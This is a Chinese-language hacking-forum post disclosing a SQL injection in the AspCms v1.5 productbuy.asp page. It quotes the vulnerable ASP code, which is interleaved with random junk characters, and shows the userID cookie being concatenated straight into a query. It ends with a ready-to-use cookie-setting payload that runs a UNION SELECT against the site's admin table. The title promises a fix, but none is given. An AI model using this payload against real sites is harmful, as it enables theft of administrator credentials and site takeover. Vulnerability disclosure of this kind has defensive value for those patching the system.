AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
7 ?/ C* @: K6 D, n+ O8 n+ F# p( E
* s6 I4 x) C8 ]" V$ S& M- p<%

0 t! E9 v$ `9 D% d2 t0 h2 Dif action = "buy" then

        addOrder()
( \& }; v- ~0 ^; E9 J- O9 l
  }1 K8 s/ J8 kelse

& G0 A- z( \/ w9 }# Z; g. n3 ^        echoContent()
1 H8 w$ t( B  E% ]
end if
, S/ h0 `' \2 J$ @


……略过
' P" O6 o. V& s  f
2 H2 x8 w2 M$ [! v$ q1 K4 Y

# T9 M" z1 ~) v7 H7 VSub echoContent()

        dim id

- n0 V( s8 ?; f  @5 w) x5 E+ d% j        id=getForm("id","get")

        
7 [( s6 u8 l5 z3 A
+ D, d; D8 X9 w/ K3 d2 g        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

        
  S, q1 Z2 n- G  z2 t! z
/ F9 `& b* y1 \; A5 W        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

' x9 y8 T1 ?* {$ ~        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

9 b3 [4 |. z. f% }7 z2 C% Q( r        Dim templatePath,tempStr
: U$ O8 T0 \; ~- a
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
4 K  U5 \1 `" q( y; P! X


        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

; l) ?3 g6 L/ _0 m3 k) `/ m6 \        selectproduct=rsObj(0)
" V9 B1 P4 [: c& ?8 @+ }
        
! r! u, G# T$ |! [" x  |4 p. B
        Dim linkman,gender,phone,mobile,email,qq,address,postcode

/ |* q& w  X; a8 B        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
3 e' {1 Q- i% l1 @7 L7 m
' z0 w: J* n* P9 r        if rCookie("loginstatus")=1 then  
) O  }1 `5 f3 V9 I( b
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
8 v. l8 w6 v2 z& B
                linkman=rsObj("truename")

                gender=rsObj("gender")

/ L. V/ t5 L' Z- }8 Y" |                phone=rsObj("phone")
+ D( I  d. ~. R. g
! _' ]- V/ _4 Y8 P/ y                mobile=rsObj("mobile")

8 q! J; e" M+ i4 ^* R$ o                email=rsObj("email")
" }) R/ c6 Y) D/ [& o1 p* u' K  v
# f! r8 n4 O, G) R' }1 R# X                qq=rsObj("qq")

                address=rsObj("address")
2 }9 s5 j  \$ [
' H$ D' j0 m" i, _                postcode=rsObj("postcode")

        else
; \9 l' N, @4 Q' w( B# `
                gender=1
+ b6 d$ w7 V- X) b* }
        end if

        rsObj.close()

               

) ~: M9 D. ?4 Z5 n        with templateObj
, C& w- I9 I0 q: J4 ^# O9 K
) ?! x" I. M) P( R                .content=loadFile(templatePath)        
% P; ~8 M' u2 f9 P4 }9 ], X/ c
% o9 _1 Q, J3 k; L) n4 l                .parseHtml()
' i+ C# A6 t" J/ i; Q
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

% F  J$ M3 z7 B% u: q                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

0 j' k! [/ _9 u! d" {  E, F1 m                .content=replaceStr(.content,"[aspcms:gender]",gender)               

. }1 s  {! r9 ?! U                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        
" R/ |- h- r8 `- [. q0 i% p; e; _" L5 N
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
. x+ J6 @. X$ b5 I* B5 p
! ^9 e8 t' [3 [+ E& V" ~                .content=replaceStr(.content,"[aspcms:address]",address)                        
+ T: e# ?; _" V; O
4 E: ~3 P+ i# S0 X1 s+ ~8 t% o                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 
) R9 u! d0 K; p8 G
! v1 a$ t! ?9 \- _: \+ k2 h. n3 y  v                echo .content

) U/ w  a$ ]% |: W8 f  B) X        end with
, A& U  A$ C& s; J  N
$ ]9 i$ D" y$ s3 N0 M+ T        set templateobj =nothing : terminateAllObjects

& M! S# i1 v7 KEnd Sub
漏洞很明显，没啥好说的
# U3 k" I4 ~4 Y  J4 ~) vpoc：
! a- \) D6 A; C( s' `  _  O
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​

, u2 M8 w9 U# `" n